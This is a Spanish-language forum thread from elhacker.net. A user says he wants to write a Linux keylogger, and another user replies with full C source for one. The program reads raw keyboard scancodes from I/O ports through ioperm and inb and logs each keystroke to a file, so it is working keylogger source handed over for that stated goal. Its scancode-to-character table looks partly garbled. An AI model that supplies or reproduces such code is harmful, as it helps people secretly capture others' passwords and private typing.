Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: Gallu en 27 Agosto 2010, 11:50 am



Título: Api de linux
Publicado por: Gallu en 27 Agosto 2010, 11:50 am
Hola ,  estoy buscando información sobre el api de linux , en principio me gustaría saber si es algo parecido al api de windows , alguien conoce algún enlace , libro ?


Título: Re: Api de linux
Publicado por: Komodo en 27 Agosto 2010, 12:36 pm
Supongo que te refieres al Kernel API Linux quien mejor que ellos mismos:

http://kernelbook.sourceforge.net/kernel-api.pdf


Título: Re: Api de linux
Publicado por: Gallu en 27 Agosto 2010, 12:53 pm
Algo así , encontre algo muchisimo más completo , con mucha documentación y código fuente

http://lxr.linux.no/#linux+v2.6.35/ (http://lxr.linux.no/#linux+v2.6.35/)

mi idea es crear un keylogger para linux , he intentado usar el lkl , pero la verdad no he podido , asi que pienso hacerlo desde 0.  Si alguien tiene idea de por donde debo empezar le agradeceria que me la comentara.

Muchas gracias


Título: Re: Api de linux
Publicado por: Komodo en 27 Agosto 2010, 13:09 pm
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <sys/io.h>
  5. #define KB_IO 0X60
  6. #define KB_ST 0x64
  7. #define SLEEP 50
  8. key(int code) {
  9. int i;
  10. int ascii_code[] = {
  11. 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30,
  12. 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50,
  13. 51, 52, 53, 57};
  14. int ascii_char[] = {
  15. '0', ''', 'ì', 'b', 't', 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', 'è',
  16. '+', 'n', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'ò', 'à', '<', 'ù', 'z',
  17. 'x', 'c', 'v', 'b', 'n', 'm', ',', '.', '-', ' '};
  18. for (i = 0; i < 42; i++) {
  19. if (code == ascii_code[i])
  20. return ascii_char[i];
  21. }
  22. }
  23. int main(int argc, char **argv) {
  24. int code = 0;
  25. int last = 0;
  26. FILE *file;
  27. if (!argv[1]) {
  28. fprintf(stderr, "%s <file>n", argv[0]);
  29. exit(1);
  30. }
  31. if (!(file = fopen(argv[1], "w"))) {
  32. fprintf(stderr, "imposible escribir %sn", argv[1]);
  33. exit(2);
  34. }
  35. if (ioperm(KB_IO, 1, 1) == -1 || ioperm(KB_ST, 1, 1) == -1) {
  36. fprintf(stderr, "fail");
  37. exit(3);
  38. }
  39. while (1) {
  40. code = 0;
  41. if (inb(KB_ST) == 20)
  42. code = inb(KB_IO);
  43. if (code) {
  44. if (code != last) {
  45. last = code;
  46. if (key(code)) {
  47. fprintf(file, "%c", key(code));
  48. fflush(file);
  49. }
  50. }
  51. }
  52. usleep(SLEEP);
  53. }
  54. return 0;
  55. }
  56.  


Título: Re: Api de linux
Publicado por: Gallu en 27 Agosto 2010, 13:25 pm
¿Este código se ejecuta en segundo plano ? , me refiero a si registra las teclas aun cuando la aplicación no tenga el foco .


Título: Re: Api de linux
Publicado por: Komodo en 27 Agosto 2010, 13:53 pm
eso ya curratelo tu,no?


Título: Re: Api de linux
Publicado por: cbug en 29 Agosto 2010, 23:59 pm
Un buen libro: Linux system programming. Ed: O'Reilly